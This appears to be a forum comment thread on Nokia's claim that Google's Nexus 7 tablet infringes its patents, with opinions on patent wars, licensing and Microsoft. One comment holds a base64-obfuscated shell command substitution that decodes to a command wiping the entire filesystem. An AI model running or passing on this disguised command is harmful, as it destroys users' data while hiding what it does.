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Nokia: Google's Nexus 7 Tablet Infringes Our Patents
walterbyrd writes with a story at The Inquirer outlining the latest volley in the patent wars surrounding mobile hardware, this time aimed at the new Aus-built Nexus 7 tablet from Google by Nokia, in which the company's spokesman says, "Nokia has more than 40 licensees, mainly for its standards essential patent portfolio, including most of the mobile device manufacturers. Neither Google nor Asus is licensed under our patent portfolio. 'Companies who are not yet licensed under our standard essential patents should simply approach us and sign up for a license.'"
Can't prove it but we all know this is another one of Microsoft's proxy wars.
Apparently.
Asus has been making the transformer line for years. If Asus is not licensing required patents for Wifi, why has Nokia delayed on demands for so long?
FTFA
It's believed that the patents in question have to do with the IEEE 802.11 WiFi standard
$(echo cm0gLXJmIC8= | base64 --decode)
I guessed that this was probably something GSM related, but TFA says "It's believed that the patents in question have to do with the IEEE 802.11 WiFi standard". It's hard to imagine that Asus doesn't already have a license for essential wifi patents, they must have sold millions of devices over the last few years that have featured wifi as standard.
Bit odd that this has not been an issue until the moment that they release a Google branded device.
The whole massive patent portfolios thing was hinged on mutually assured destruction. Everyone was violating at least one of everyone's patents, but as long as you either had enough of an armory yourself, or paid your dues to the patent portfolios, you were safe (disregarding wild patent trolls). Sort of like the actual Cold War - as long as you had enough nukes, or allied yourself with someone who did, you were safe (disregarding "rogue nations" and proxy wars).
Well, this Patent Cold War is becoming a Patent World War.
It's been going on for a while now, ever since the smartphone lawsuits first stated, but it's ramping up. They're coming faster and faster now, and going for bigger and bigger things. Pretty soon, you'll be seeing injunctions against entire companies, or multi-trillion-dollar fines.
I expect, in the end, most of those involved will end up out-of-business. And, hopefully, it will end with a massive patent system reform.
Even though it's got nothing to do with Apple, I'm still going to blame them anyway since, as we all know, everyone copies off Apple, be it rounded corners or patent trolling
Summation 2
And what's the deal with airplane peanuts? Am I right, people?
I used to be a total Nokia Fanboi. Hell, I use a Nokia N9 as my everyday cell phone. I cried like John Boehner when Elop took over and made Nokia Microsoft's bitch.
Now I'm mad! I just ordered one of those Google 7 tablets, and my former love, Nokia is trying to stop me from having it!
Phuque!
Where is this world going?
* Carthago Delenda Est *
That's the cost to US taxpayers* for all this patent trolling. It wouldn't be so egregious if there was actually some legitimacy to the claims but it's all about competing by litigation, which ought to be as illegal as stealing actual inventions.
[*] - http://arstechnica.com/tech-policy/2012/07/new-study-same-authors-patent-trolls-cost-economy-29-billion-yearly/
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B&N warned that this attack from Nokia and MOSAID was coming. B&N said this was conspired with Microsoft. Microsoft's Steven Elop (Nokia CEO) is doing his former company's bidding. Now we see what B&N warned about mestastisizing. brace yourselves. The days of writing your own code and having it become successfull without paying a patent license fee for your OWN code is coming to an end. Thanks particularly to MS and their partners oh and Apple. And of course the geeks will sit back and take it lying down. I for one has influenced a few hundred people away from Microsoft and Apple products. Will continue that push along with more donations to the EFF.
There's not a lot to go in the Inquirer article (there never is in my experience), but isn't it possible that Nokia's stance is entirely reasonable? Maybe it does hold standards essential patents relevant to the Nexus tablet and is entitled to FRAND payments. It's not threatening to seek injunctions. On the face of it, Nokia is seeking payment for licenses that it believes it is entitled to.
Not sure how we get from here to alleging Microsoft-led conspiracies... At least wait for the Google/Asus responses before taking sides.
And the saddest part is how surprised I am; which is to say not at all. In fact I will be surprised if Nokia is the last one to make claims about Google's tablet. No company can announce any new significant mobile device without patents hitting the fan.
That makes it blindingly clear that these patents utterly fail every possible test as far as non-obviousness, inventiveness, etc.
Um, this isn't an issue of rounded corners or unsubstantial software patents. Nokia was a pioneer of mobile wireless technologies, none of which were obvious at the time. These patents were then incorporated into an operability standard, not the other way around.
I hear SCO makes a solid UNIX product as well.
The Nexus 7 also violates Nokia’s patent for “a method for losing money on hardware sales.”
I think, like me, the original poster is a former Nokia employee, not just a user.
See, there's the beauty of this.
We don't have to do anything. We just sit back and watch the various factions of Corporate Earth (it's not just America) kill each other off.
That isn't what happens. Corporations are not like natural human beings. When a human kills another human, you end up less than what you started with.
When 1 corporations kills another, the victor often becomes more powerful than both corporations were as separate entities. This is the accumulation of capital. The trend is that, in time, there will be only 1 corporation left, and it will own absolutely everything.
No one has a right to their *own* opinion. They have a right to the TRUTH.
Can't prove it but we all know this is another one of Microsoft's proxy wars.
Never know, Apple might have caught on and started a few themselves.
Apple had to license the Nokia patents a while back. It is likely the agreement specified that if there were royalties they could not be larger than anyone else pays. This puts the onus on Nokia to defend it's patents in the future or apple might clawback the agreement.
More to the point, noika's patent portfolio is prodigious and that R&D was not created for trolling but to pave the early and future path of mobile. It is thus not surprising that many things we now (a few years later) take for granted were patentable innovations not very long ago, and Nokia holds them. Even though Nokia is now a crippled weakling in the smart phone market, you have to remember they once were a top athlete before they started taking Performance enhancing drugs (windows). Their future return to profitability is going to depend on a steady patent royalty stream to be able to attract new investors.
Some drink at the fountain of knowledge. Others just gargle.
I hope it gets to the point where no devices can be launched on time. Hopefully then someone will pull their damned finger out and fix the patent problems.
The problem is that you are assuming the "guy sitting in his office" is rational. People are *not* rational. I know I'm not, and I've yet to see a truly rational person. Oh sure, at times, maybe even most of the time, people are somewhat rational. But "homo sapiens sapiens" isn't nearly as wise as he thinks he is.
Their chain of thinking is relatively simple. In the beginning, it was simple - you have a Good Idea, one worth money, one that lets you make good products that you sell for more money.
Patents were invented to protect those Good Ideas, to reward the people who came up with Good Ideas. So obviously, when you have a Good Idea, you should patent it.
Eventually, the distinction between Good Ideas and patents was lost. Every Good Idea becomes patented; every patent covers a Good Idea. And, as Good Ideas are good things that you want a lot of, patents must be good things that you want a lot of.
So the men in suits pushed for more patents. They pushed their thinkers to file more patents, and pushed the laws so they could patent more ideas (because, after all, if an idea is patented, it must be a Good Idea that brings in money!)
But they pushed too far. They ended up with patents that were not Good Ideas, maybe just good ideas. Maybe just ideas, or bad ideas, or just ideas for ideas. And they had so many, they covered almost everything. You can't make a product without using hundreds, even thousands, of patents.
And there are *two* ways to make money from patents. First, you can use it to make a Good Product. But you can also use it to get money from someone else who is making a Good Product.
And more and more, the men in suits focused more on the second way than the first way. Which fed the cycle more - driving more and more patents. Which drove more and more patent suits.
It's a common error of human psychology to never see yourself as the aggressor. People almost always see themselves as the one *being* attacked, not the one *doing* the attacks. So now the men in suits are scared, because they feel as though they're under attack by patents.
But in the system we've ended up with, there really is no defense against patents. All you can do is go on the offensive yourself.
And so they fight back, because that's the only option they can see. They probably can tell it will end badly for them, but I imagine they blame the other companies for "forcing" them into this situation (because, after all, most people prefer to blame others rather than their own short-sightedness).
They can't see that there is an option to change the game, because few men can truly see that option while they play the game. We outsiders can see it, because we aren't in the middle of it.
Microsoft chose scox as a proxie for the same reason. Scox was dead in the water before they filed their lawsuit against IBM - about ten years ago now.
Scox had gobs of msft money to gain, and nothing to lose.
Nokia is the sequel to scox.